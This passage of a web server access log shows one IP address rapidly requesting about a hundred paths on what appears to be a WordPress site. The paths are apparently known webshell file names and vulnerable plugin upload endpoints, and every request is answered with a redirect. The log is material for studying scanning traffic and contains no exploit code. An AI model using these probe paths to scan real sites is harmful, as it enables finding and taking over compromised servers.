795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:38:17 -0400] "GET /wp-includes/fonts/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:18 -0400] "GET /wp-admin/maint/smile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.131 - - [24/Apr/2025:20:38:18 -0400] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:18 -0400] "GET /images/architect.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:18 -0400] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.131 - - [24/Apr/2025:20:38:19 -0400] "GET /wp-includes/link-template-git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:19 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.131 - - [24/Apr/2025:20:38:19 -0400] "GET /xcvdadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:38:20 -0400] "GET /wp-content/themes/pridmag/1.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:20 -0400] "GET /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.131 - - [24/Apr/2025:20:38:20 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:20 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.131 - - [24/Apr/2025:20:38:20 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:21 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:21 -0400] "GET /top.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:21 -0400] "GET /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:21 -0400] "GET /wp-content/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:21 -0400] "GET /wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:38:22 -0400] "GET /roundcube/static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:22 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:22 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:22 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:23 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:23 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:23 -0400] "GET /wp-admin/css/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:38:23 -0400] "GET /wp-admin/js/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:23 -0400] "GET /wp-includes/rest-api/search/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:24 -0400] "GET /wp-class-inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:24 -0400] "GET /wp-content/view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:24 -0400] "GET /js/kcfinder/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:24 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.131 - - [24/Apr/2025:20:38:24 -0400] "GET /wp-content/uploads/2014/06/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:25 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.131 - - [24/Apr/2025:20:38:25 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.131 - - [24/Apr/2025:20:38:25 -0400] "GET /assets/library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:25 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:25 -0400] "GET /templates/beez3/jsstrings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:26 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:26 -0400] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.131 - - [24/Apr/2025:20:38:26 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:26 -0400] "GET /wp-includes/fonts/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:27 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:27 -0400] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.131 - - [24/Apr/2025:20:38:27 -0400] "GET /product-category/gaming/page/2/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:27 -0400] "GET /request-quote/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:28 -0400] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:28 -0400] "GET /wp-content/themes/fing/uph.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:28 -0400] "GET /wp-content/themes/twentytwentythree/templates/blog-alternative.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:28 -0400] "GET /wp-content/themes/twentytwentyfour/assets/css/button-outline.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:28 -0400] "GET /wp-includes/widgets/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:29 -0400] "GET /wp-admin/css/color/blue/maintenence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:29 -0400] "GET /wp-content/themes/extol/settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:29 -0400] "GET /wp-content/themes/digital-download/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.131 - - [24/Apr/2025:20:38:29 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:30 -0400] "GET /wp-includes/class-wp-simple-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:30 -0400] "GET /wp-includes/room.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:30 -0400] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:31 -0400] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.131 - - [24/Apr/2025:20:38:31 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:31 -0400] "GET /wp-includes/id3/license.txt/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:31 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519-items.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:31 -0400] "GET /menusystem32.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:32 -0400] "GET /wp-admin/images/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:32 -0400] "GET /wp-includes/fonts/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:32 -0400] "GET /wp-includes/ID3/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:32 -0400] "GET /wp-admin/css/colors/ectoplasm/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.131 - - [24/Apr/2025:20:38:33 -0400] "GET /vendor/bin/loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:33 -0400] "GET /OVA-MASS-UP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:33 -0400] "GET /up-UP-up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.131 - - [24/Apr/2025:20:38:34 -0400] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:34 -0400] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:34 -0400] "GET /wp-includes/pomo/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.131 - - [24/Apr/2025:20:38:34 -0400] "GET /wp-admin/css/colors/ectoplasm/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:35 -0400] "GET /wp-includes/PHPMailer/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:35 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.131 - - [24/Apr/2025:20:38:35 -0400] "GET /wp-includes/certificates/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.131 - - [24/Apr/2025:20:38:35 -0400] "GET /wp-includes/theme-compat/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:38:36 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:36 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:36 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.131 - - [24/Apr/2025:20:38:36 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.131 - - [24/Apr/2025:20:38:36 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:37 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:37 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:37 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:37 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:37 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:38 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:38:38 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:38 -0400] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:38 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:39 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:39 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:39 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:39 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.131 - - [24/Apr/2025:20:38:39 -0400] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:40 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:40 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.131 - - [24/Apr/2025:20:38:40 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:40 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:41 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.131 - - [24/Apr/2025:20:38:41 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:41 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:38:41 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:41 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:42 -0400] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.131 - - [24/Apr/2025:20:38:42 -0400] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:42 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:43 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:43 -0400] "GET /upload/image/ HTTP/1.1" 